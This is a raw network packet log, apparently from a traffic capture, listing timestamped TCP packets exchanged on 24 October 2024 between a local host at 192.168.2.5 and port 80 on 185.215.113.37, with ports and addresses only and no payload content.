Oct 24, 2024 02:50:19.932073116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.932101965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.932189941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932198048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932230949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.932250023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.932296991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932307959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932318926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932327986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932334900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.932346106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932353020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.932373047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.932404041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.932492018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932529926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.932550907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932559967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932595015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.932615995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932626963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932636976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.932651997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.932676077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.975774050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.975785971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.975795984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:19.975820065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:19.975833893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.007704020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.007723093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.007731915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.007756948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.007787943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.008172035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.008182049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.008191109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.008214951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.008244991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.013752937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.013763905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.013773918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.013804913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.013820887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047240973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047257900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047272921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047300100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047323942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047331095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047342062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047353983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047363997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047369957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047379971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047398090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047452927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047528982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047574043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047595024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047604084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047645092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047661066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047668934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047678947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047688007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047710896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047749043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047759056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047789097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047799110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047837973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047838926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047868013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047878027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047888041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047898054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047904015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047914982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.047930002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.047952890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048160076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048170090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048187971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048196077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048204899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048213005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048222065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048228979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048245907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048269987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048409939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048418999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048429966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048455000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048464060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048476934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048484087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048501015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048538923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048635960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048645973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048655987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048698902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048759937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048788071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048796892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048811913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048821926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048856974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048877001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048887014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.048916101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048930883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.048974037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049012899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049034119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049045086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049056053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049068928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049082041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049092054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049099922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049125910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049144030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049154043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049184084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049190998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049256086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049267054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049277067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049298048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049314976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049554110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049565077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049575090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049602032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049617052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049623013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049631119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.049650908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.049665928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.092739105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.092765093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.092775106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.092784882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.092809916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.092844963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.124419928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.124429941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.124479055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.124500990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.124511957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.124525070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.124536037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.124543905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.124567032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.124597073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.130443096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.130454063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.130465031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.130476952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.130491018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.130525112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.163947105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164026976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164043903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164053917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164069891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164086103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164093018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164103985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164113998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164123058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164134026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164140940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164171934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164189100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164222002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164437056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164447069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164462090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164473057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164482117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164489031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164499998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164505959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164515972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164524078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164534092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164546013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164551973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164565086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164570093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164591074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164612055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164628029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164637089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164647102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164657116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164665937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164685965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164768934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164779902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164789915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164803982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164808989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164834976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164858103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164942980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164953947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164966106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164975882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.164995909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.164995909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165019035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165083885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165105104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165116072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165119886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165165901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165165901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165240049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165249109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165258884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165282011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165298939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165307999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165318012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165340900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165354013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165467024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165477991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165493965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165498018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165505886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165565014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165582895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165592909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165602922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165618896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165638924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165719986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165731907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165741920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165766954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165781975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165786982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165819883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.165868998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.165905952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169608116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169632912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169645071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169651031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169658899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169666052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169675112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169683933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169691086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169702053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169708967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169718027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169724941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169744015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169760942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169768095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169776917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169786930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169795036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169810057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169821978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169830084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169837952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.169872999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.169879913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.210098028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.210114002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.210124969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.210134983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.210150003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.210170031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.210203886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.241647005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.241658926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.241677046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.241688013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.241698980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.241712093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.241873980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.247446060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.247458935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.247469902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.247495890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.247515917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.280814886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.280879021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.280889034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.280906916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.280917883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.280930042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.280942917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.280997038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281011105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281030893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281050920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281056881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281070948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281076908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281088114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281137943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281157017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281197071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281209946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281219959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281229019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281251907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281303883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281436920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281452894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281465054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281474113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281485081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281502962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281518936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281526089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281538010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281543970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281553984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281562090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:20.281569958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:20.281577110 CEST	49704	80	192.168.2.5	185.215.113.37
